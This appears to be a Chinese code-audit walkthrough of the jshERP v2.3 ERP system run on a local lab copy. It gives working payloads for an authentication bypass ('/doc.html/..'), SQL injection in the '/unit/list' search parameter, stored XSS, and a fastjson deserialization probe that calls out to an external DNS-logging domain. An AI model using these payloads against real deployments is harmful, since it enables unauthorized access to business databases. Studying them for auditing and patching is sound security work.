一、环境搭建

1、下载:下载地址(v2.3版本):Releases · jishenghua/jshERP

2、导入IDEA中,在设置中配置java 环境为1.8,越低越好吧,我是用的是1.8.0_65

3、在MySQL数据库新建jsh_erp数据库

4、导入docs/jsh_erp.sql数据文件

5、在application.properties配置文件中修改MySQL数据库地址端口和账号密码

6、更新加载pom.xml配置文件

7、运行ErpApplication.java文件,启动项目。启动成功会出现访问地址和端口,以及账号的账号密码

image-20241020203428300

二、审计准备

先大致浏览下整个项目的大致结构和配置信息

1、pom.xml 配置信息

使用了1.2.55 版本的fastjson,具备fastjson 反序列化的版本要求

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.55</version>
</dependency>

除此之外还是用了2.10.0 版本的log4j

1
2
3
4
5
6
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-to-slf4j</artifactId>
<version>2.10.0</version>
<scope>compile</scope>
</dependency>

不过这个版本是不存在漏洞的,可以去maven 的官网查看

数据库使用了MyBatis

1
2
3
4
5
<dependency>
<groupId>com.gitee.starblues</groupId>
<artifactId>springboot-plugin-framework-extension-mybatis</artifactId>
<version>2.2.1-RELEASE</version>
</dependency>

2、filter 配置

先看 doFilter 函数内容

1、从session中提取user 参数的值,如果不为null,则跳过认证,这里是没有问题的

1
2
3
4
5
6
//具体,比如:处理若用户未登录,则跳转到登录页
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}

2、如果访问的url 中包含 /doc.html/register.html/login.html,这些字符串,则不进行认证。

这样其实是不严格的,如果url 长这样呢:/doc.html/../home.html,怕会出现未授权访问阿

1
2
3
4
5
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response); // 请求以上URL,均不阻止
return;
}

3、第三部分少有点绕,总结如下:

访问.css、.js、.jpg、.png、.gif、.ico、/user/login、/user/registerUser、/v2/api-docs这些内容的时候也不需要认证。同样不严格,如:.css/../home.html,同样存在未授权

1
2
3
4
5
6
7
8
9
10
11
12
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}

4、最后如果用户没有权限,则跳转到登录页

1
servletResponse.sendRedirect("/login.html");

三、SQL注入漏洞

pom.xml文件中看到使用的是Mybatis ,所以我们按照Mybatis 的审计思路来

mapper文件夹下搜索$符号,尽量查找跟用户有关的操作

image-20241020210402987

1
2
3
4
5
6
7
8
9
10
11
12
<select id="selectByConditionUnit" parameterType="com.jsh.erp.datasource.entities.UnitExample" resultMap="com.jsh.erp.datasource.mappers.UnitMapper.BaseResultMap">
select *
FROM jsh_unit
where 1=1
<if test="name != null">
and name like '%${name}%'
</if>
and ifnull(delete_flag,'0') !='1'
<if test="offset != null and rows != null">
limit #{offset},#{rows}
</if>
</select>

回溯搜索selectByConditionUnit,只有一个接口和一个用法

image-20241020210849524

我们一路往上找,这里注意看,不要被迷惑,,转换成了由传递过来的map 控制name 的值

1
2
3
4
5
6
7
8
9
10
public final static String SEARCH = "search";

......

private List<?> getUnitList(Map<String, String> map)throws Exception {
String search = map.get(Constants.SEARCH);
String name = StringUtil.getInfo(search, "name");
String order = QueryUtils.order(map);
return unitService.select(name, QueryUtils.offset(map), QueryUtils.rows(map));
}

在往上来到这里,变成了两个参数控制

1
2
3
4
5
6
public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception {
if (StringUtil.isNotEmpty(apiName)) {
return container.getCommonQuery(apiName).select(parameterMap);
}
return new ArrayList<Object>();
}

这个select 在往上找,就来到了最后的controller 层

image-20241020211910734

我们先在面临的问题是apiName是什么?具体的逻辑在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Service
public class InterfaceContainer {
private final Map<String, ICommonQuery> configComponentMap = new HashMap<>();

@Autowired(required = false)
private synchronized void init(ICommonQuery[] configComponents) {
for (ICommonQuery configComponent : configComponents) {
ResourceInfo info = AnnotationUtils.getAnnotation(configComponent, ResourceInfo.class);
if (info != null) {
configComponentMap.put(info.value(), configComponent);
}
}
}

public ICommonQuery getCommonQuery(String apiName) {
return configComponentMap.get(apiName);
}
}

apiName的值会从configComponentMap这个变量中获取,而这个变量在init 函数中被put 压入数据。

具体的内容是:service下每个文件夹对应一个apiName

有兴趣的师傅可以跟一下,本人由于水平有限,这里就不跟了

而我们一开始回溯搜索的selectByConditionUnit实现方法就是在service\unit\UnitService.java,所以这里我们需要的apiName 的值就是unit

那么我们正向总结一下:

  1. 访问的接口原本是:/{apiName}/list
  2. 这里apiName 是unit
  3. 需要传入参数有三个:pageSizecurrentPagesearch
  4. 我们主要的点在search这里

结合未授权访问 构造请求:

1
http://127.0.0.1:8081/unit/list?pageSize=&currentPage=&search=jsh' and sleep(3)--+

image-20241020215836900

emm,出现异常,且并没有延迟3s,接着再次捋一下整个过程,问题出现在如下:

1
2
3
4
5
6
private List<?> getUnitList(Map<String, String> map)throws Exception {
String search = map.get(Constants.SEARCH); // Constants.SEARCH 就是search
String name = StringUtil.getInfo(search, "name");// 通过StringUtil.getInfo 获取name值
String order = QueryUtils.order(map);
return unitService.select(name, QueryUtils.offset(map), QueryUtils.rows(map)); // QueryUtils.offset(map) 需要我们传入的其他参数有具体的值,且是数字
}

那这个name值获取过程到底是什么样的?如下

1
2
3
4
5
6
7
8
9
10
11
public static String getInfo(String search, String key){
String value = "";
if(search!=null) {
JSONObject obj = JSONObject.parseObject(search); // 解析成json对象(json反序列化)
value = obj.getString(key); // 然后从解析的json对象中拿出来name 的属性值
if(value.equals("")) {
value = null;
}
}
return value;
}

也就是说,我们传入的search 参数内容应该是一个json 内容,修改payload:

1
http://127.0.0.1:8081/unit/list?search=/unit/list?search=%7B%22name%22%3A%22jsh%27%20or%201%3D1--%2B%22%7D&pageSize=10&currentPage=1&pageSize=10&currentPage=1

image-20241020222906819

当然还有更多的SQL注入漏洞,但是整体思路都差不多

四、水平越权漏洞

那么伴随的就是我们的越权漏洞,依然拿上面这个SQL注入漏洞来举列子

在上方的SQL注入演示中 ,我们是通过登陆进入后台访问接口造成的SQL注入漏洞,如果我们不登陆,能否依然触发这个SQL注入漏洞呢?

image-20241020233203713

可以看到,当我们去掉cookie 的内容之后,我们将重定向到登录页,这是正常的逻辑。

但如果我们使用上面filter 分析出来的未授权会如何呢?

image-20241020233339184

且看,我们此时没有cookie内容,即没有登陆状态,依然造成SQL注入,访问出来了数据库中的数据

造成这一切的“幕后黑手”就是/doc.html/..。因为在filter 的逻辑中,如果URL中包含doc.html 内容,就不进行认证,直接放行

而这个越权造成的后果实在太大了,大到可以直接拥有管理员的权限。如:修改密码、增加用户等。

其他的越权示例不再复现,原理一样

五、存储型XSS

在前端html 目录中搜索有关/add 增加的功能页

image-20241020232051877

有一个增加用户的功能点,先增加一个用户

image-20241020232746305

然后修改用户名

image-20241020232843671

成功弹框

image-20241020232854381

image-20241020232859791

为什么先增加再修改,而不是直接增加就添加payload呢?增加的时候限制较多,不如先增加再修改

但有一个前提是拥有登陆后台的高权限

六、Fastjson 反序列化漏洞

之前看 pom.xml 配置文件的时候就发现 项目使用的1.2.55 版本的fastjson 的漏洞,高低得整他两下

我们先手工测试需要开启AutoType 的方法,在SQL注入的时候就发现一处fastjson 反序列化,在这里开启AutoType

1
2
3
4
5
6
7
8
9
10
11
public static String getInfo(String search, String key){
String value = "";
if(search!=null) {
JSONObject obj = JSONObject.parseObject(search); // 解析成json对象(json反序列化)
value = obj.getString(key); // 然后从解析的json对象中拿出来name 的属性值
if(value.equals("")) {
value = null;
}
}
return value;
}

那我们就顺着SQL注入的链子来到这里,这个search 正好是我们进行SQL注入传递的json 格式

修改我们SQL注入的payload 为

1
{"@type":"java.net.Inet4Address","val":"3.b3925eed5a.ipv6.1433.eu.org"}

image-20241020235518738

直接未授权打入